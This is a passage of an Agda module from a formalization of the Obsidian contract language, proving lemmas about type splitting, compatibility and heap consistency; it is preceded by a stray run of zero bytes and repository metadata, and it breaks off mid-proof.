00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
formalization/heapLemmasForSplitting.agda
ivoysey/Obsidian
79
3147
<filename>formalization/heapLemmasForSplitting.agda module HeapLemmasForSplitting where open import HeapPropertiesDefs open import Silica import Relation.Binary.PropositionalEquality as Eq import Context open import Data.List.Relation.Unary.All import Relation.Unary import Data.List.Properties import Data.List open import Data.Sum open import Data.Maybe open import Data.List.Membership.DecSetoid ≡-decSetoid open import Data.List.Relation.Unary.Any open import Data.Empty open TypeEnvContext ----------- PROPERTIES OF SPLITTING ----------- -- The results of splitting are always compatible. splitCompatibility : ∀ {Γ} → ∀ {t₁ t₂ t₃ : Type} → Γ ⊢ t₁ ⇛ t₂ / t₃ → t₂ ⟷ t₃ splitCompatibility voidSplit = voidCompat splitCompatibility booleanSplit = booleanCompat splitCompatibility (unownedSplit {Γ} {t₁} {t₂} {t₃} eqNames1 eqNames2 eqPerms t3IsUnowned) = symCompat (unownedCompat t3IsUnowned (Eq.trans (Eq.sym eqNames2) eqNames1)) splitCompatibility (shared-shared-shared {Γ} {t} eq) = sharedCompat eq eq refl splitCompatibility (owned-shared notAsset) = sharedCompat refl refl refl splitCompatibility (states-shared x) = sharedCompat refl refl refl compatibleContractsHaveSameNames : ∀ {T : Type} → ∀ {t : Tc} → ∀ {t' : Tc} → contractType t ⟷ T → T ≡ contractType t' → Tc.contractName t ≡ Tc.contractName t' compatibleContractsHaveSameNames {T} {t} {t'} (symCompat compat) refl = sym (compatibleContractsHaveSameNames compat refl) compatibleContractsHaveSameNames {T} {t} {t'} (unownedCompat x x₁) refl = x₁ compatibleContractsHaveSameNames {T} {t} {t'} (sharedCompat x x₁ x₂) refl = x₂ typesCompatibleWithContractsAreContracts : ∀ {T : Type} → ∀ {t : Tc} → contractType t ⟷ T → ∃[ t' ] (T ≡ contractType t') typesCompatibleWithContractsAreContracts {T} {t} (symCompat (symCompat compat)) = typesCompatibleWithContractsAreContracts compat typesCompatibleWithContractsAreContracts {(contractType (tc _ _))} {(tc _ _)} (symCompat (unownedCompat {C} {C'} {perm} {perm'} x x₁)) = ⟨ tc C perm , refl ⟩ typesCompatibleWithContractsAreContracts {(contractType (tc _ _))} {(tc _ _)} (symCompat (sharedCompat {t} {t'} x x₁ x₂)) = ⟨ t , refl ⟩ typesCompatibleWithContractsAreContracts {T} {t} (unownedCompat {C} {C'} {perm} {perm'} refl refl) = ⟨ tc C perm' , refl ⟩ typesCompatibleWithContractsAreContracts {T} {t} (sharedCompat {tc C Shared} {tc C' Shared} refl refl refl) = ⟨ tc C Shared , refl ⟩ splittingRespectsHeap : ∀ {Γ} → ∀ {T t₁ t₂ t₃ : Type} → Γ ⊢ t₁ ⇛ t₂ / t₃ → T ⟷ t₁ → (T ⟷ t₂) × (T ⟷ t₃) splittingRespectsHeap {Γ} {T} {(base Void)} {(base Void)} {(base Void)} voidSplit consis = ⟨ consis , consis ⟩ splittingRespectsHeap {Γ} {T} {.(base Boolean)} {.(base Boolean)} {.(base Boolean)} booleanSplit consis = ⟨ consis , consis ⟩ -- t₁ => t₁ / t₃ because t₃ is Unowned. splittingRespectsHeap {Γ} {T} {contractType t₁} {contractType t₂} {contractType t₃} (unownedSplit {Γ} {t₁} {t₂} {t₃} x x₁ x₂ x₃) (symCompat consis) rewrite (eqContractTypes x₂ x) | (proj₂ (typesCompatibleWithContractsAreContracts {T} {t₂} consis)) = let TIsContractTypeEx = typesCompatibleWithContractsAreContracts {T} consis -- T is a contractType. TContractType = proj₁ TIsContractTypeEx TIsContractType = proj₂ TIsContractTypeEx compatTypes = (compatibleContractsHaveSameNames consis TIsContractType) C = Tc.contractName t₃ C' = Tc.contractName TContractType in ⟨ symCompat ( Eq.subst (λ a → contractType t₂ ⟷ a) TIsContractType consis) , symCompat (unownedCompat x₃ (Eq.trans (Eq.sym x₁) compatTypes)) ⟩ -- t1 => t1 / Unowned splittingRespectsHeap {Γ} {(contractType (tc C perm))} {contractType (tc C' perm')} {contractType t₂} {contractType t₃} (unownedSplit x x₁ x₂ x₃) (unownedCompat x₄ x₅) = ⟨ unownedCompat x₄ (Eq.trans x₅ x), unownedCompat x₄ (Eq.trans x₅ x₁) ⟩ splittingRespectsHeap {Γ} {(contractType t)} {contractType t₁} {contractType t₂} {contractType t₃} (unownedSplit x x₁ x₂ x₃) (sharedCompat t₁Shared t₂Shared t₁t₂Names) rewrite x₂ = ⟨ sharedCompat t₁Shared t₂Shared (Eq.trans t₁t₂Names x) , symCompat (unownedCompat x₃ (Eq.trans (Eq.sym x₁) (Eq.sym t₁t₂Names))) ⟩ splittingRespectsHeap {Γ} {T} {.(contractType _)} {.(contractType _)} {.(contractType _)} (shared-shared-shared x) consis = ⟨ consis , consis ⟩ -- Owned => Shared / Shared. Requires that T be Unowned. splittingRespectsHeap {Γ} {T} {contractType (tc _ Owned)} {contractType (tc _ Shared)} {contractType (tc _ Shared)} (owned-shared x) (symCompat (symCompat consis)) = splittingRespectsHeap (owned-shared x) consis splittingRespectsHeap {Γ} {.(contractType (tc _ _))} {contractType (tc _ Owned)} {contractType (tc _ Shared)} {contractType (tc _ Shared)} (owned-shared x) (symCompat (unownedCompat () x₂)) splittingRespectsHeap {Γ} {.(contractType _)} {contractType (tc _ Owned)} {contractType (tc _ Shared)} {contractType (tc _ Shared)} (owned-shared x) (symCompat (sharedCompat () x₂ x₃)) splittingRespectsHeap {Γ} {.(contractType (tc _ _))} {.(contractType (tc _ Owned))} {.(contractType (tc _ Shared))} {.(contractType (tc _ Shared))} (owned-shared x) (unownedCompat x₁ x₂) = ⟨ unownedCompat x₁ x₂ , unownedCompat x₁ x₂ ⟩ splittingRespectsHeap {Γ} {.(contractType _)} {.(contractType (tc _ Owned))} {.(contractType (tc _ Shared))} {.(contractType (tc _ Shared))} (owned-shared x) (sharedCompat x₁ () x₃) -- States => Shared / Shared. Requires that T be Unowned. splittingRespectsHeap {Γ} {T} {contractType (tc _ (S _))} {contractType (tc _ Shared)} {contractType (tc _ Shared)} (states-shared x) (symCompat (symCompat consis)) = splittingRespectsHeap (states-shared x) consis splittingRespectsHeap {Γ} {.(contractType (tc _ _))} {contractType (tc _ (S _))} {contractType (tc _ Shared)} {contractType (tc _ Shared)} (states-shared x) (symCompat (unownedCompat () x₃)) splittingRespectsHeap {Γ} {.(contractType _)} {contractType (tc _ (S _))} {contractType (tc _ Shared)} {contractType (tc _ Shared)} (states-shared x) (symCompat (sharedCompat () x₃ x₄)) splittingRespectsHeap {Γ} {.(contractType (tc _ _))} {contractType (tc _ (S _))} {contractType (tc _ Shared)} {contractType (tc _ Shared)} (states-shared x) (unownedCompat x₁ x₂) = ⟨ unownedCompat x₁ x₂ , unownedCompat x₁ x₂ ⟩ splittingRespectsHeap {Γ} {.(contractType _)} {contractType (tc _ (S _))} {contractType (tc _ Shared)} {contractType (tc _ Shared)} (states-shared x) (sharedCompat x₂ () x₄) splitSymmetric : ∀ {T T'} → T ⟷ T' → T' ⟷ T splitSymmetric {T} {T'} compat = symCompat compat -- =================== LEMMAS RELATED TO HEAP CONSISTENCY ================= -- If a location is in ρ, then there is a corresponding item in envTypesList. findLocationInEnvTypes : ∀ {Σ Δ l o T forbiddenRefs} → (envTypesList : List Type) → EnvTypes Σ (Δ ,ₗ l ⦂ T) o forbiddenRefs envTypesList → IsConnectedTypeList envTypesList → (RuntimeEnv.ρ Σ IndirectRefContext.∋ l ⦂ objVal o) → T ∈ₜ envTypesList × All (λ T' → (T' ≢ T) → T ⟷ T') envTypesList -- The argument will have the form: look, I found T in envTypes, so it must be compatible with everything in fieldTypes already. findLocationInEnvTypes {.(re μ (ρ IndirectRefContext., l₁ ⦂ objVal o) φ ψ)} {Δ} {l} {o} {T} .(T' ∷ R) (envTypesConcatMatchFound {R = R} {l = l₁} {T = T'} {μ = μ} {ρ = ρ} {φ = φ} {ψ = ψ} {forbiddenRefs = forbiddenRefs} .(Δ ,ₗ l ⦂ T) o envTypes l₁HasTypeT l₁NotForbidden) (consTypeList firstConnected restConnected) lInρ with l ≟ l₁ ... | yes lEql₁ = -- We must have T' ≡ T because we looked up l in (Δ ,ₗ l ⦂ T). let TInEnvTypesList = here (Eq.sym TEqContractTypet₁) TCompatWithRest = transformConnected R (Eq.subst (λ a → All (λ T' → a ⟷ T') R) TEqContractTypet₁ firstConnected) in ⟨ TInEnvTypesList , (λ TNeqT' → ⊥-elim (TNeqT' (TEqContractTypet₁))) ∷ TCompatWithRest ⟩ -- Eq.subst (λ a → All (λ a → T ⟷ a) (T' ∷ R)) TEqContractTypet₁ firstConnected ⟩ where lInΔ' : ((StaticEnv.locEnv Δ) , l ⦂ T) ∋ l ⦂ T lInΔ' = Z TEqContractTypet₁ : T' ≡ T TEqContractTypet₁ = contextLookupUnique l₁HasTypeT (Eq.subst (λ a → (StaticEnv.locEnv Δ) TypeEnvContext., l ⦂ T ∋ a ⦂ T) lEql₁ lInΔ') transformConnected : ∀ L → All (λ T' → T ⟷ T') L → All (λ T' → (T' ≢ T) → T ⟷ T') L transformConnected L [] = [] transformConnected (T' ∷ L) (h ∷ r) = (λ tNeqT' → h) ∷ (transformConnected L r) ... | no lNeql₁ = -- envTypesList is T ∷ R, but T is not the one we were interested in. l ⦂ o is in ρ, but not at the end. -- Eventually we'll look up l in (Δ ,ₗ l ⦂ T) and find T. let lInRestOfρ = IndirectRefContext.irrelevantReductionsOK lInρ lNeql₁ recurse = findLocationInEnvTypes {re μ ρ φ ψ} {Δ} {l} {o} {T} R envTypes restConnected lInRestOfρ TInR = proj₁ recurse TCompatT' = Data.List.Relation.Unary.All.lookup firstConnected TInR in ⟨ there TInR , (λ TNeqT' → symCompat TCompatT') ∷ proj₂ recurse ⟩ -- firstConnected ⟩ findLocationInEnvTypes {.(re μ (ρ IndirectRefContext., l₁ ⦂ objVal o) φ ψ)} {Δ} {l} {o} {T} envTypesList (envTypesConcatMatchNotFound {R = .envTypesList} {l = l₁} {μ = μ} {ρ = ρ} {φ = φ} {ψ = ψ} {forbiddenRefs = forbiddenRefs} .(Δ ,ₗ l ⦂ T) o envTypes lNotInΔ') connected lInρ = let lNeql₁ = ≢-sym (∉dom-≢ lNotInΔ') lInRestOfρ = IndirectRefContext.irrelevantReductionsOK lInρ lNeql₁ in findLocationInEnvTypes envTypesList envTypes connected lInRestOfρ findLocationInEnvTypes {.(re μ (ρ IndirectRefContext., l₁ ⦂ objVal o') φ ψ)} {Δ} {l} {o} {T} envTypesList (envTypesConcatMismatch {R = .envTypesList} {l = l₁} {μ = μ} {ρ = ρ} {φ = φ} {ψ = ψ} {forbiddenRefs = forbiddenRefs} .(Δ ,ₗ l ⦂ T) o o' oNeqo' envTypes) connected lInρ = let -- from o ≢ o' I need to prove that objVal o ≢ objVal o' -- so I assume objVal o ≡ objVal o' and derive o ≡ o', which is a contradiction. oExprNeqo'Expr = λ objValsEq → (objValInjective oNeqo') (Eq.sym objValsEq) lInRestOfρ = IndirectRefContext.irrelevantReductionsInValuesOK lInρ oExprNeqo'Expr in findLocationInEnvTypes envTypesList envTypes connected lInRestOfρ -- If a list of types was all compatible with the env types for (Δ ,ₗ l ⦂ T), then everything in that list is compatible with T. prevCompatibilityImpliesCompatibility : ∀ {Σ Δ l o T} → (RT : RefTypes Σ (Δ ,ₗ l ⦂ T) o) → (TL : List Type) → All (λ T → All (_⟷_ T) TL) (RefTypes.envTypesList RT) → IsConnectedTypeList (RefTypes.envTypesList RT) → (RuntimeEnv.ρ Σ IndirectRefContext.∋ l ⦂ objVal o) → All (_⟷_ (T)) TL prevCompatibilityImpliesCompatibility {Σ} {Δ} {l} {o} {T} RT TL envTypesCompatibleWithTypes connected lInρ = let TInEnvTypes = proj₁ (findLocationInEnvTypes (RefTypes.envTypesList RT) (RefTypes.envTypes RT) connected lInρ) in Data.List.Relation.Unary.All.lookup envTypesCompatibleWithTypes TInEnvTypes envTypesForbiddenRefsObserved : ∀ {l forbiddenRefs T T' Σ R} → (Δ : StaticEnv) → (o : ObjectRef) → l ∈ forbiddenRefs → EnvTypes Σ (Δ ,ₗ l ⦂ T) o forbiddenRefs R → EnvTypes Σ (Δ ,ₗ l ⦂ T') o forbiddenRefs R -- We previously found l₁ ⦂ o at the END of ρ, and found l₁ : T in (Δ ,ₗ l ⦂ T). By "l₁NotInForbiddenRefs" we may derive l ≢ l₁. -- ρ , l₁ : objVal o -- WTS: when we look up l₁ in (Δ ,ₗ l ⦂ T'), we'll still get objVal o. envTypesForbiddenRefsObserved {l} {forbiddenRefs} {T} {T'} {.(re μ (ρ IndirectRefContext., l₁ ⦂ objVal o) φ ψ)} {.(T₁ ∷ R)} Δ o lInLs envTypes@(envTypesConcatMatchFound {R = R} {l = l₁} {T = T₁} {μ = μ} {ρ = ρ} {φ = φ} {ψ = ψ} {forbiddenRefs = forbiddenRefs} .(Δ ,ₗ l ⦂ T) .o origEnvTypes l₁HasTypeT₁WithL l₁NotInForbiddenRefs) = let l₁NeqL : l₁ ≢ l l₁NeqL = listNoncontainment l₁NotInForbiddenRefs lInLs l₁HasSameTypeInNewContext = irrelevantExtensionsOK {y = l} {t' = T'} (irrelevantReductionsOK l₁HasTypeT₁WithL l₁NeqL) l₁NeqL recursiveCall = envTypesForbiddenRefsObserved {l = l} {T = T} {T' = T'} Δ o (there lInLs) origEnvTypes in envTypesConcatMatchFound {R = R} (Δ ,ₗ l ⦂ T') o recursiveCall l₁HasSameTypeInNewContext l₁NotInForbiddenRefs envTypesForbiddenRefsObserved {l} {forbiddenRefs} {T} {T'} {.(re μ (ρ IndirectRefContext., l₁ ⦂ objVal o) φ ψ)} {R} Δ o lInLs (envTypesConcatMatchNotFound {R = .R} {l = l₁} {μ = μ} {ρ = ρ} {φ = φ} {ψ = ψ} {forbiddenRefs = .forbiddenRefs} .(Δ ,ₗ l ⦂ T) .o origEnvTypes l₁NotInDomΔ') = let prevEnvTypesObserved = envTypesForbiddenRefsObserved Δ o lInLs origEnvTypes in envTypesConcatMatchNotFound (Δ ,ₗ l ⦂ T') o prevEnvTypesObserved (∉domPreservation l₁NotInDomΔ') envTypesForbiddenRefsObserved {l} {forbiddenRefs} {T} {T'} {.(re μ (ρ IndirectRefContext., l₁ ⦂ objVal o') φ ψ)} {R} Δ o lInLs (envTypesConcatMismatch {R = .R} {l = l₁} {μ = μ} {ρ = ρ} {φ = φ} {ψ = ψ} {forbiddenRefs = .forbiddenRefs} .(Δ ,ₗ l ⦂ T) .o o' oNeqO' origEnvTypes) = let prevEnvTypesObserved = envTypesForbiddenRefsObserved Δ o lInLs origEnvTypes in envTypesConcatMismatch (Δ ,ₗ l ⦂ T') o o' oNeqO' prevEnvTypesObserved envTypesForbiddenRefsObserved {l} {forbiddenRefs} {T} {T'} {.(re μ IndirectRefContext.∅ φ ψ)} {.[]} Δ o lInLs (envTypesEmpty {μ = μ} {φ = φ} {ψ = ψ} {Δ = .(Δ ,ₗ l ⦂ T)} {o = .o} {forbiddenRefs = .forbiddenRefs}) = envTypesEmpty -- Inversion for isConnected isConnectedImpliesOsConnected : ∀ {Σ Δ o R} → IsConnected Σ Δ o R → IsConnectedTypeList (RefTypes.oTypesList R) isConnectedImpliesOsConnected {Σ} {Δ} {o} {R} (isConnected R cl _ _ _ ) = cl singleElementListsAreConnected : (T : Type) → IsConnectedTypeList [ T ] singleElementListsAreConnected T = consTypeList [] (emptyTypeList refl) -- Basic properties of contexts ctxTypesExtension : ∀ {Δ o T} → [ T ] ≡ ctxTypes (Δ , o ⦂ T) o ctxTypesExtension {Δ} {o} {T} with o ≟ o ... | yes oEq = refl ... | no oNeq = ⊥-elim (oNeq refl) ctxTypesExtensionNeq : ∀ {Δ o o' T} → o' ≢ o → ctxTypes (Δ , o ⦂ T) o' ≡ ctxTypes Δ o' ctxTypesExtensionNeq {Δ} {o} {o'} {T} oNeq with o' ≟ o ... | yes p = ⊥-elim (oNeq p) ... | no ¬p = refl t₁CompatibilityImpliest₂Compatibility : ∀ {Γ TL T₁ T₂ T₃} → All (λ T' → T₁ ⟷ T') TL → Γ ⊢ T₁ ⇛ T₂ / T₃ → All (λ T' → T₂ ⟷ T') TL t₁CompatibilityImpliest₂Compatibility {Γ} {.[]} {T₁} {T₂} {T₃} [] spl = [] t₁CompatibilityImpliest₂Compatibility {Γ} {.(x ∷ xs)} {T₁} {T₂} {T₃} (_∷_ {x = x} {xs = xs} TCompat restCompat) spl = let TCompat' = proj₁ (splittingRespectsHeap spl (symCompat TCompat)) in (symCompat TCompat') ∷ t₁CompatibilityImpliest₂Compatibility restCompat spl t₁CompatibilityImpliest₃Compatibility : ∀ {Γ TL T₁ T₂ T₃} → All (λ T' → T₁ ⟷ T') TL → Γ ⊢ T₁ ⇛ T₂ / T₃ → All (λ T' → T₃ ⟷ T') TL t₁CompatibilityImpliest₃Compatibility {Γ} {.[]} {T₁} {T₂} {T₃} [] spl = [] t₁CompatibilityImpliest₃Compatibility {Γ} {.(x ∷ xs)} {T₁} {T₂} {T₃} (_∷_ {x = x} {xs = xs} TCompat restCompat) spl = let TCompat' = proj₂ (splittingRespectsHeap spl (symCompat TCompat)) in (symCompat TCompat') ∷ t₁CompatibilityImpliest₃Compatibility restCompat spl connectedTypeListsAreConnected : ∀ {T Ts} → IsConnectedTypeList Ts → (TIncluded : T ∈ₜ Ts) → (T'Included : T ∈ₜ Ts) → TIncluded ≢ T'Included → T ⟷ T connectedTypeListsAreConnected {.x} {.(x ∷ xs)} TsConnected (here {x = x} {xs = xs} refl) (here {x = .x} {xs = .xs} refl) TNeqT' = ⊥-elim (TNeqT' refl) connectedTypeListsAreConnected {T} {.(T ∷ D)} (consTypeList {T = .T} {D = D} TConnectedToRest TsConnected) (here {x = .T} {xs = .D} refl) (there {x = .T} {xs = .D} T'InTs) TNeqT' = Data.List.Relation.Unary.All.lookup TConnectedToRest T'InTs connectedTypeListsAreConnected {T} {.(T ∷ D)} (consTypeList {T = .T} {D = D} TConnectedToRest TsConnected) (there {x = .T} {xs = .D} TInTs) (here {x = .T} {xs = .D} refl) TNeqT' = Data.List.Relation.Unary.All.lookup TConnectedToRest TInTs connectedTypeListsAreConnected {T} {.(x ∷ xs)} (consTypeList {T = .x} {D = .xs} x₁ restConnected) (there {x = x} {xs = xs} TInTs) (there {x = .x} {xs = .xs} T'InTs) TNeqT' = connectedTypeListsAreConnected restConnected TInTs T'InTs λ prfsEqual → TNeqT' (Eq.cong there prfsEqual) {- record EnvTypesForSplitResult (Σ : RuntimeEnv) (Δ : StaticEnv) (T₂ : Type) (T₃ : Type) (l : IndirectRef) (o : ObjectRef) : Set where field Ts' : List Type T₂Compat : (All (λ T' → T₂ ⟷ T') Ts') et : (EnvTypes Σ (Δ ,ₗ l ⦂ T₃) o forbiddenRefs Ts') connected : (IsConnectedTypeList Ts') externalCompat : (λ T' → All (λ T'' → T' ⟷ T'') Ts → All (λ T'' → T' ⟷ T'') Ts') -} -- Trying to assume that T₁ is compatible with all the Ts is too strong, since T₁ may be in the Ts. -- What do I actually need here I need to show that T₂ is compatible with all the new types. -- So envTypesForSplit : ∀ {Γ Σ Δ l o T₁ T₂ T₃ Ts forbiddenRefs} → EnvTypes Σ (Δ ,ₗ l ⦂ T₁) o forbiddenRefs Ts → (RuntimeEnv.ρ Σ IndirectRefContext.∋ l ⦂ objVal o) → All (λ T' → (T' ≢ T₁) → T₁ ⟷ T') Ts → IsConnectedTypeList Ts → Γ ⊢ T₁ ⇛ T₂ / T₃ → ∃[ Ts' ] ((EnvTypes Σ (Δ ,ₗ l ⦂ T₃) o forbiddenRefs Ts') × (All (λ T' → T₂ ⟷ T') Ts') × (IsConnectedTypeList Ts') × (∀ T' → All (λ T'' → T' ⟷ T'') Ts → All (λ T'' → T' ⟷ T'') Ts')) envTypesForSplit {Γ} {Σ@.(re μ (ρ IndirectRefContext., l₁ ⦂ objVal o) φ ψ)} {Δ} {l} {o} {T₁} {T₂} {T₃} {.(T₄ ∷ R)} {forbiddenRefs} origMatch@(envTypesConcatMatchFound {R = R} {l = l₁} {T = T₄} {μ = μ} {ρ = ρ} {φ = φ} {ψ = ψ} .(Δ ,ₗ l ⦂ T₁) o origEnvTypes lookupResult l₁NotForbidden) lInρ (T₁Connected ∷ RConnected) (consTypeList firstConnected restConnected) spl with l₁ ≟ l ... | yes eq = -- The last step in the proof of EnvTypes (ρ , l₁ ⦂ o) (Δ ,ₗ l ⦂ T₃) o T₁∷R is that we looked up l₁ and prepended the result to the rest of the Ts. -- If l₁ ≡ l, then Ts' is T₃ ∷ R. Otherwise, we found l₁ ⦂ T₄ in Δ and Ts' is T₄ ∷ (recurse with the rest). ⟨ Ts' , ⟨ envTypesTs' , ⟨ T₂CompatWithT₃ ∷ T₂CompatWithRestOfEnvTypes , ⟨ (consTypeList T₃CompatWithRestOfEnvTypes restConnected) , externalCompat ⟩ ⟩ ⟩ ⟩ where Ts'' = R Ts' = T₃ ∷ Ts'' -- WTS: (EnvTypes Σ (Δ ,ₗ l ⦂ T₃) o Ts') × All (λ T' → T ⟷ T') Ts') lookupResultWithl : (StaticEnv.locEnv Δ , l ⦂ T₁) ∋ l ⦂ T₄ lookupResultWithl = Eq.subst (λ a → StaticEnv.locEnv Δ , l ⦂ T₁ ∋ a ⦂ T₄) eq lookupResult origEnvTypesWithL : EnvTypes (re μ ρ φ ψ) (Δ ,ₗ l₁ ⦂ T₁) o (l₁ ∷ forbiddenRefs) R origEnvTypesWithL = Eq.subst (λ a → EnvTypes (re μ ρ φ ψ) (Δ ,ₗ a ⦂ T₁) o (l₁ ∷ forbiddenRefs) R) (Eq.sym eq) origEnvTypes forbiddenOK = envTypesForbiddenRefsObserved {T' = T₃} Δ o (here refl) origEnvTypesWithL forbiddenOKInL₁ : EnvTypes (re μ ρ φ ψ) (Δ ,ₗ l ⦂ T₃) o (l₁ ∷ forbiddenRefs) R forbiddenOKInL₁ = Eq.subst (λ a → EnvTypes (re μ ρ φ ψ) (Δ ,ₗ a ⦂ T₃) o (l₁ ∷ forbiddenRefs) R) eq forbiddenOK -- We already know that the first match in ρ for o is l, so the new Ts' has to be right. envTypesTs' : EnvTypes Σ (Δ ,ₗ l ⦂ T₃) o forbiddenRefs Ts' envTypesTs' = envTypesConcatMatchFound {l = l₁} (Δ ,ₗ l ⦂ T₃) o forbiddenOKInL₁ (Eq.subst (λ a → StaticEnv.locEnv Δ , a ⦂ T₃ ∋ l₁ ⦂ T₃) eq Z) l₁NotForbidden T₄EqT₁ : T₄ ≡ T₁ T₄EqT₁ = contextLookupUnique lookupResultWithl Z T₄CompatWithRestOfEnvTypes = firstConnected T₁CompatWithRestOfEnvTypes = Eq.subst (λ a → All (λ T' → a ⟷ T') R) T₄EqT₁ T₄CompatWithRestOfEnvTypes T₂CompatWithRestOfEnvTypes : All (λ T' → T₂ ⟷ T') R T₂CompatWithRestOfEnvTypes = t₁CompatibilityImpliest₂Compatibility T₁CompatWithRestOfEnvTypes spl T₂CompatWithT₃ = splitCompatibility spl -- Need to prove everything in R is connected to T₃, given that everything in R is connected to T₄ (≡ T₁). -- Follows from splittingRespectsHeap. T₃CompatWithRestOfEnvTypes : All (λ T' → T₃ ⟷ T') R T₃CompatWithRestOfEnvTypes = t₁CompatibilityImpliest₃Compatibility T₁CompatWithRestOfEnvTypes spl externalCompat : (T' : Type) → All (λ T'' → T' ⟷ T'') (T₄ ∷ R) → All (λ T'' → T' ⟷ T'') Ts' externalCompat T' (_∷_ {x = x} {xs = xs} px T'CompatWithTs) = let T'CompatT₁ = Eq.subst (λ a → T' ⟷ a) T₄EqT₁ px T'CompatT₃ = proj₂ (splittingRespectsHeap spl T'CompatT₁) in T'CompatT₃ ∷ T'CompatWithTs envTypesForSplit {Γ} {Σ@.(re μ (ρ IndirectRefContext., l₁ ⦂ objVal o) φ ψ)} {Δ} {l} {o} {T₁} {T₂} {T₃} {.(T₄ ∷ R)} {forbiddenRefs} origMatch@(envTypesConcatMatchFound {R = R} {l = l₁} {T = T₄} {μ = μ} {ρ = ρ} {φ = φ} {ψ = ψ} .(Δ ,ₗ l ⦂ T₁) o origEnvTypes lookupResult l₁NotForbidden) lInρ (T₁Connected ∷ RConnected) allConnected@(consTypeList firstConnected restConnected) spl | no nEq with T₄ ≟t T₁ ... | yes T₄EqT₁ = ⟨ Ts' , ⟨ envTypesTs' , ⟨ Ts'Compat , ⟨ consTypeList T₄CompatWithR' (proj₁ (proj₂ (proj₂ (proj₂ R'WithProof)))) , externCompatibility' ⟩ ⟩ ⟩ ⟩ where -- Because we're in envTypeConcatMatchFound, l₁ ⦂ o was at the end of the context, and we found l₁ ⦂ T₄ in Δ , l ⦂ T₁. -- But l ≢ l₁, so we will be able to find l₁ ⦂ T₄ in Δ and use the same rule. -- However, there may be l's in ρ, which may result in a different R than before! Some T₁'s may be replaced with T₃'s. lInRestOfρ = IndirectRefContext.irrelevantReductionsOK lInρ (≢-sym nEq) R'WithProof = envTypesForSplit origEnvTypes lInRestOfρ RConnected restConnected spl R' = proj₁ R'WithProof Ts' = T₄ ∷ R' l₁InΔ : ((StaticEnv.locEnv Δ) , l ⦂ T₃) ∋ l₁ ⦂ T₄ l₁InΔ = irrelevantExtensionsOK {t = T₄} {t' = T₃} (irrelevantReductionsOK lookupResult nEq) nEq envTypesTs' = envTypesConcatMatchFound (Δ ,ₗ l ⦂ T₃) o (proj₁ (proj₂ R'WithProof)) l₁InΔ l₁NotForbidden -- Previously, we knew that T₄ was compatible with everything in R. -- Specificially, we have T₁Connected : (T₄ ≢ T₁) → T₁ ⟷ T₄. -- Everything that was compatible with T₁ has to be compatible with T₂. foundLocationInRest = findLocationInEnvTypes R origEnvTypes restConnected lInRestOfρ T₁InR : T₁ ∈ₜ R T₁InR = proj₁ foundLocationInRest proofsNotEq : (there T₁InR) ≢ (here (Eq.sym T₄EqT₁)) proofsNotEq () T₁CompatWithT₁ : T₁ ⟷ T₁ T₁CompatWithT₁ = connectedTypeListsAreConnected allConnected (there T₁InR) (here (Eq.sym T₄EqT₁)) proofsNotEq -- We found another copy of T₁ in the original envTypes. But we know the original envTypes was all connected. -- There has to be ANOTHER copy of T₁ in R. We know THIS T₁ is connected to THAT T₁ because THIS T₁ is connected to everything in R. T₂CompatWithT₁ : T₂ ⟷ T₁ T₂CompatWithT₁ = symCompat (proj₁ (splittingRespectsHeap spl T₁CompatWithT₁)) T₂CompatWithT₄ = Eq.subst (λ a → T₂ ⟷ a) (Eq.sym T₄EqT₁) T₂CompatWithT₁ T₂CompatWithR' = proj₁ (proj₂ (proj₂ R'WithProof)) Ts'Compat = T₂CompatWithT₄ ∷ T₂CompatWithR' externCompatibility = proj₂ (proj₂ (proj₂ (proj₂ R'WithProof))) T₄CompatWithR' : All (λ T' → T₄ ⟷ T') R' T₄CompatWithR' = externCompatibility T₄ firstConnected externCompatibility' : (T' : Type) → All (λ T'' → T' ⟷ T'') (T₄ ∷ R) → All (λ T'' → T' ⟷ T'') Ts' externCompatibility' T' (_∷_ {x = x} {xs = xs} px T'CompatWithTs) = px ∷ externCompatibility T' T'CompatWithTs ... | no T₄NeqT₁ = ⟨ Ts' , ⟨ envTypesTs' , ⟨ Ts'Compat , ⟨ consTypeList T₄CompatWithR' (proj₁ (proj₂ (proj₂ (proj₂ R'WithProof)))) , externCompatibility' ⟩ ⟩ ⟩ ⟩ where -- Because we're in envTypeConcatMatchFound, l₁ ⦂ o was at the end of the context, and we found l₁ ⦂ T₄ in Δ , l ⦂ T₁. -- But l ≢ l₁, so we will be able to find l₁ ⦂ T₄ in Δ and use the same rule. -- However, there may be l's in ρ, which may result in a different R than before! Some T₁'s may be replaced with T₃'s. lInRestOfρ = IndirectRefContext.irrelevantReductionsOK lInρ (≢-sym nEq) R'WithProof = envTypesForSplit origEnvTypes lInRestOfρ RConnected restConnected spl R' = proj₁ R'WithProof Ts' = T₄ ∷ R' l₁InΔ : ((StaticEnv.locEnv Δ) , l ⦂ T₃) ∋ l₁ ⦂ T₄ l₁InΔ = irrelevantExtensionsOK {t = T₄} {t' = T₃} (irrelevantReductionsOK lookupResult nEq) nEq envTypesTs' = envTypesConcatMatchFound (Δ ,ₗ l ⦂ T₃) o (proj₁ (proj₂ R'WithProof)) l₁InΔ l₁NotForbidden -- Previously, we knew that T₄ was compatible with everything in R. -- Specificially, we have T₁Connected : (T₄ ≢ T₁) → T₁ ⟷ T₄. -- Everything that was compatible with T₁ has to be compatible with T₂. T₄CompatWithT₁ : T₄ ⟷ T₁ T₄CompatWithT₁ = symCompat (T₁Connected T₄NeqT₁) T₄CompatWithT₂ : T₄ ⟷ T₂ T₄CompatWithT₂ = proj₁ (splittingRespectsHeap spl T₄CompatWithT₁) T₂CompatWithT₄ = symCompat T₄CompatWithT₂ T₂CompatWithR' = proj₁ (proj₂ (proj₂ R'WithProof)) Ts'Compat = T₂CompatWithT₄ ∷ T₂CompatWithR' externCompatibility = proj₂ (proj₂ (proj₂ 